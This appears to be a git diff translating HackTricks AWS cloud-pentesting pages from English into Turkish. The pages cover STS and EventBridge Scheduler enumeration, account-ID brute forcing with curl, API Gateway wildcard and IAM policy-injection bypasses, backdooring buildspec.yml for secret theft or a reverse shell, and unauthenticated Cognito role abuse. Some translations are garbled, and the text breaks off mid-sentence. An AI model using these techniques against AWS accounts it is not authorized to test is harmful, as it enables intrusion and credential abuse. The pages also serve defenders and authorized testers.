+Eğer **farklı bir hesap** üzerinden bir **rol** üstlenmeye çalışırsanız, **üstlenilen rol bunu izin vermelidir** (rolün **ARN**'sini veya **harici hesabı** belirterek) ve **diğerini üstlenmeye çalışan rolün** **onu üstlenmek için izinlere sahip olması GEREKİR** (bu durumda, üstlenilen rol bir ARN belirtiyor olsa bile bu isteğe bağlı değildir). ### Enumeration - ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,10 +67,9 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +Aşağıdaki sayfada **STS izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md @@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..da9f45205 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler**, ölçekli görevler oluşturmak, çalıştırmak ve yönetmek için tasarlanmış tamamen yönetilen, **sunucusuz bir zamanlayıcıdır**. 270'ten fazla AWS hizmeti ve 6,000'den fazla API işlemi arasında milyonlarca görevi merkezi bir hizmetten planlamanızı sağlar. Yerleşik güvenilirlik ile altyapı yönetimi gerektirmeden, EventBridge Scheduler zamanlamayı basitleştirir, bakım maliyetlerini azaltır ve talebe göre otomatik olarak ölçeklenir. Tek seferlik çağrılar ayarlayabilir, tekrarlayan zamanlamalar için cron veya oran ifadeleri yapılandırabilir ve esnek teslim pencereleri tanımlayarak, görevlerin aşağı akış hedeflerinin kullanılabilirliğine göre güvenilir bir şekilde teslim edilmesini sağlarsınız. -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +Bölge başına hesap başına 1,000,000 zamanlama için başlangıçta bir limit vardır. Resmi kotalar sayfası bile, "Tamamlandıklarında tek seferlik zamanlamaların silinmesi önerilir." diyor. -### Types of Schedules +### Zamanlama Türleri -Types of Schedules in EventBridge Scheduler: +EventBridge Scheduler'daki Zamanlama Türleri: -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **Tek seferlik zamanlamalar** – Belirli bir zamanda bir görevi yürütür, örneğin, 21 Aralık'ta UTC 07:00'de. +2. **Oran tabanlı zamanlamalar** – Belirli bir sıklığa göre tekrarlayan görevler ayarlar, örneğin, her 2 saatte bir. +3. **Cron tabanlı zamanlamalar** – Bir cron ifadesi kullanarak tekrarlayan görevler ayarlar, örneğin, her Cuma 16:00'da. -Two Mechanisms for Handling Failed Events: +Başarısız Olayları Yönetmek için İki Mekanizma: -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Tekrar Politikas**ı – Başarısız bir olay için tekrar deneme sayısını ve bir başarısızlık olarak değerlendirilmeden önce ne kadar süre işlenmemiş kalacağını tanımlar. +2. **Ölü Mektup Kuyruğu (DLQ)** – Tekrar denemeleri tükendiğinde başarısız olayların teslim edildiği standart bir Amazon SQS kuyruğu. DLQ'ler, zamanlamanız veya aşağı akış hedefinizle ilgili sorunları gidermeye yardımcı olur. -### Targets +### Hedefler -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +Zamanlayıcı için 2 tür hedef vardır [**şablonlu (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), yaygın olarak kullanılır ve AWS bunları yapılandırmayı kolaylaştırmıştır, ve [**evrensel (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), herhangi bir AWS API'sini çağırmak için kullanılabilir. -**Templated targets** support the following services: +**Şablonlu hedefler** aşağıdaki hizmetleri destekler: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Parametreler: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Parametreler: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Parametreler: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parametreler: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Parametreler: SqsParameters - Step Functions – StartExecution ### Enumeration - ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,10 +64,9 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +Aşağıdaki sayfada, **eventbridge scheduler izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -79,7 +77,3 @@ In the following page, you can check how to **abuse eventbridge scheduler permis - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..c9d8f42af 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - Kimlik Doğrulaması Olmadan Enum & Erişim {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## AWS Kimlik Bilgileri Sızıntıları -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +AWS hesabına erişim veya bilgi elde etmenin yaygın bir yolu **sızıntıları aramaktır**. **Google dorks** kullanarak, **kuruluşun** ve kuruluşun **çalışanlarının** **Github** veya diğer platformlardaki **açık reposunu** kontrol ederek, **kimlik bilgileri sızıntı veritabanlarında** arama yaparak... veya şirket ve bulut altyapısı hakkında herhangi bir bilgi bulabileceğinizi düşündüğünüz başka herhangi bir yerde arama yapabilirsiniz.\ +Bazı yararlı **araçlar**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## AWS Kimlik Doğrulaması Olmadan Enum & Erişim -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +AWS'de, tüm İnternet'e veya beklenenden daha fazla kişiye erişim verecek şekilde yapılandırılabilecek birkaç hizmet vardır. Buradan nasıl yapılacağını kontrol edin: -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**Hesaplar Kimlik Doğrulaması Olmadan Enum**](aws-accounts-unauthenticated-enum.md) +- [**Cloud9 Kimlik Doğrulaması Olmadan Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cloudfront Kimlik Doğrulaması Olmadan Enum**](aws-cloudfront-unauthenticated-enum.md) +- [**Cloudsearch Kimlik Doğrulaması Olmadan Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cognito Kimlik Doğrulaması Olmadan Enum**](aws-cognito-unauthenticated-enum.md) +- [**DocumentDB Kimlik Doğrulaması Olmadan Enum**](aws-documentdb-enum.md) +- [**EC2 Kimlik Doğrulaması Olmadan Enum**](aws-ec2-unauthenticated-enum.md) +- [**Elasticsearch Kimlik Doğrulaması Olmadan Enum**](aws-elasticsearch-unauthenticated-enum.md) +- [**IAM Kimlik Doğrulaması Olmadan Enum**](aws-iam-and-sts-unauthenticated-enum.md) +- [**IoT Kimlik Doğrulaması Olmadan Erişim**](aws-iot-unauthenticated-enum.md) +- [**Kinesis Video Kimlik Doğrulaması Olmadan Erişim**](aws-kinesis-video-unauthenticated-enum.md) +- [**Media Kimlik Doğrulaması Olmadan Erişim**](aws-media-unauthenticated-enum.md) +- [**MQ Kimlik Doğrulaması Olmadan Erişim**](aws-mq-unauthenticated-enum.md) +- [**MSK Kimlik Doğrulaması Olmadan Erişim**](aws-msk-unauthenticated-enum.md) +- [**RDS Kimlik Doğrulaması Olmadan Erişim**](aws-rds-unauthenticated-enum.md) +- [**Redshift Kimlik Doğrulaması Olmadan Erişim**](aws-redshift-unauthenticated-enum.md) +- [**SQS Kimlik Doğrulaması Olmadan Erişim**](aws-sqs-unauthenticated-enum.md) +- [**S3 Kimlik Doğrulaması Olmadan Erişim**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## Hesaplar Arası Saldırılar -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +[**İzolasyonu Kırmak: Hesaplar Arası AWS Açıkları**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) konuşmasında, bazı hizmetlerin herhangi bir AWS hesabının onlara erişmesine nasıl izin verdiği sunulmaktadır çünkü **AWS hizmetleri hesap ID'si belirtilmeden** izin verilmiştir. -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +Konuşma sırasında, S3 bucket'larının **herhangi bir AWS** hesabının **yazmasına izin verdiği** gibi birkaç örnek belirtilmiştir: ![](<../../../images/image (260).png>) -Other services found vulnerable: +Diğer savunmasız bulunan hizmetler: - AWS Config -- Serverless repository +- Sunucusuz depo -## Tools +## Araçlar -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Çoklu bulut OSINT aracı. **Açık kaynakları bulun** AWS, Azure ve Google Cloud'da. Desteklenen AWS hizmetleri: Açık / Korunan S3 Bucket'ları, awsapps (WorkMail, WorkDocs, Connect, vb.) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..8b5e07a30 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## Hesap Kimlikleri -If you have a target there are ways to try to identify account IDs of accounts related to the target. +Eğer bir hedefiniz varsa, hedefle ilgili hesap kimliklerini tanımlamanın yolları vardır. -### Brute-Force - -You create a list of potential account IDs and aliases and check them +### Kaba Kuvvet +Potansiyel hesap kimlikleri ve takma adların bir listesini oluşturur ve bunları kontrol edersiniz. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,33 +16,28 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +You can [bu aracı kullanarak bu süreci otomatikleştirebilirsiniz](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +**Kuruluşla ilgili bir alias** içeren `.signin.aws.amazon.com` url'lerini arayın. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +Bir satıcının **pazar yerinde instance'ları varsa,** kullandığı AWS hesabının sahiplik kimliğini (hesap kimliği) alabilirsiniz. ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- Kamuya açık EBS snapshot'ları (EC2 -> Snapshots -> Public Snapshots) +- RDS kamuya açık snapshot'ları (RDS -> Snapshots -> All Public Snapshots) +- Kamuya açık AMI'ler (EC2 -> AMIs -> Public images) ### Errors -Many AWS error messages (even access denied) will give that information. +Birçok AWS hata mesajı (erişim reddedildi bile) bu bilgiyi verecektir. ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..44dcedc0c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -1,60 +1,52 @@ -# AWS - API Gateway Unauthenticated Enum +# AWS - API Gateway Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -### API Invoke bypass - -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +### API Çağrısı atlatma +[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) konuşmasına göre, Lambda Authorizers, API uç noktalarını çağırmak için izin vermek amacıyla **IAM sözdizimi** kullanılarak yapılandırılabilir. Bu, [**belgelerden alınmıştır**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` +Bu yöntemle uç noktaları çağırmak için izin vermenin sorunu, **"\*"nın "herhangi bir şey" anlamına gelmesidir** ve **artık regex sözdizimi desteklenmemektedir**. -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Bazı örnekler: -Some examples: - -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Her kullanıcıya `/dashboard/user/{username}` erişimi vermek için `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` gibi bir kural, onlara örneğin `/admin/dashboard/createAdmin` gibi diğer rotalara erişim verecektir. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> **"\*" kesme işaretleriyle genişlemeyi durdurmaz**, bu nedenle, örneğin api-id'de "\*" kullanırsanız, bu "herhangi bir aşama" veya "herhangi bir yöntem" anlamına da gelebilir, son regex geçerli olduğu sürece.\ +> Yani `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Örneğin `/prod/GET/dashboard/admin` yoluna test aşaması için bir post isteğini doğrulayabilir. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Her zaman neye erişim izni vermek istediğinizi net bir şekilde belirlemeli ve ardından verilen izinlerle başka senaryoların mümkün olup olmadığını kontrol etmelisiniz. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Daha fazla bilgi için, [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) dışında, [**bu resmi aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints) üzerinde yetkilendiricileri uygulamak için kod bulabilirsiniz. -### IAM Policy Injection +### IAM Politika Enjeksiyonu -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. - -### Public URL template +Aynı [**konuşmada**](https://www.youtube.com/watch?v=bsPKk7WDOnE), kodun **kullanıcı girişi** kullanarak **IAM politikalarını oluşturduğunun** ve burada **kısıtlamaları aşma** amacıyla joker karakterlerin (ve "." veya belirli dizeler gibi diğerlerinin) dahil edilebileceği gerçeği ortaya konmuştur. +### Kamu URL şablonu ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### Hesap ID'sini genel API Gateway URL'sinden alın -### Get Account ID from public API Gateway URL +S3 bucket'ları, Data Exchange ve Lambda URL'si geçitlerinde olduğu gibi, genel bir API Gateway URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'sini kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kötüye kullanarak hesap ID'sini bir karakter bir seferde bulmakla yapılır.\ +Bu teknik, tag anahtarını biliyorsanız **tag değerlerini** de almanıza olanak tanır (bazı varsayılan ilginç olanlar vardır). -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..a9d3527eb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -1,15 +1,9 @@ -# AWS - Cloudfront Unauthenticated Enum +# AWS - Cloudfront Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kamuya Açık URL şablonu ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..130457435 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,10 +1,10 @@ -# AWS - CodeBuild Unauthenticated Access +# AWS - CodeBuild Yetkisiz Erişim {{#include ../../../banners/hacktricks-training.md}} ## CodeBuild -For more info check this page: +Daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,28 +12,22 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +Eğer **`buildspec.yml`** adında bir dosya içeren bir depoya yazma erişimini ele geçirirseniz, bu dosyayı **arka kapı** ile değiştirebilir, bu dosyanın içindeki **çalıştırılacak komutları** belirleyebilir ve gizli bilgileri dışarı sızdırabilir, yapılan işlemleri tehlikeye atabilir ve ayrıca **CodeBuild IAM rol kimlik bilgilerini** tehlikeye atabilirsiniz. -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +Her ne kadar herhangi bir **`buildspec.yml`** dosyası olmasa da, Codebuild'in kullanıldığını biliyorsanız (veya farklı bir CI/CD) **çalıştırılacak bazı meşru kodları** değiştirerek örneğin bir ters shell elde edebilirsiniz. -For some related information you could check the page about how to attack Github Actions (similar to this): +İlgili bazı bilgiler için Github Actions'a nasıl saldırılacağı hakkında sayfayı kontrol edebilirsiniz (buna benzer): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild - -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +## AWS CodeBuild'de Kendinize Ait GitHub Actions Koşucuları +[**Belgelerde belirtildiği gibi**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild**'i, yapılandırılmış bir Github deposunda bir iş akışı tetiklendiğinde **kendinize ait Github eylemlerini** çalıştıracak şekilde yapılandırmak mümkündür. Bu, **`Olay türü`**'nün **`WORKFLOW_JOB_QUEUED`** içermesi gerektiğinden, CodeBuild proje yapılandırmasını kontrol ederek tespit edilebilir ve bir Github İş Akışında, bu şekilde bir **kendinize ait** koşucu seçecektir: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +Bu yeni ilişki, Github Actions ve AWS arasında, Github'daki kodun bir IAM rolü eklenmiş bir CodeBuild projesinde çalışmasıyla AWS'yi Github üzerinden tehlikeye atmanın başka bir yolunu oluşturur. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..3e2b2cb6d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -1,52 +1,44 @@ -# AWS - Cognito Unauthenticated Enum +# AWS - Cognito Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -## Unauthenticated Cognito +## Yetkisiz Cognito -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito, geliştiricilerin **uygulama kullanıcılarına AWS hizmetlerine erişim vermesini** sağlayan bir AWS hizmetidir. Geliştiriciler, uygulamalarındaki **kimlik doğrulama yapılmış kullanıcılara IAM rolleri** vereceklerdir (potansiyel olarak insanlar sadece kaydolabilecekler) ve ayrıca **yetkisiz kullanıcılara IAM rolü** de verebilirler. -For basic info about Cognito check: +Cognito hakkında temel bilgi için kontrol edin: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### Kimlik Havuzu ID'si -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +Kimlik Havuzları, sadece **Kimlik Havuzu ID'sini** bilen **yetkisiz kullanıcılara IAM rolleri** verebilir (bu oldukça yaygın bir şekilde **bulunabilir**), ve bu bilgiye sahip bir saldırgan **o IAM rolüne erişmeye** çalışabilir ve bunu istismar edebilir.\ +Ayrıca, IAM rolleri, Kimlik Havuzuna erişen **kimlik doğrulama yapılmış kullanıcılara** da atanabilir. Eğer bir saldırgan **bir kullanıcı kaydedebilirse** veya zaten kimlik havuzunda kullanılan **kimlik sağlayıcısına erişimi varsa**, **kimlik doğrulama yapılmış** kullanıcılara verilen **IAM rolüne** erişebilir ve ayrıcalıklarını kötüye kullanabilir. -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### Kullanıcı Havuzu ID'si -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Varsayılan olarak Cognito, **yeni kullanıcı kaydetmeye** izin verir. Bir kullanıcı kaydedebilmek, size **temel uygulamaya** veya **Cognito Kullanıcı Havuzunu kimlik sağlayıcı olarak kabul eden bir 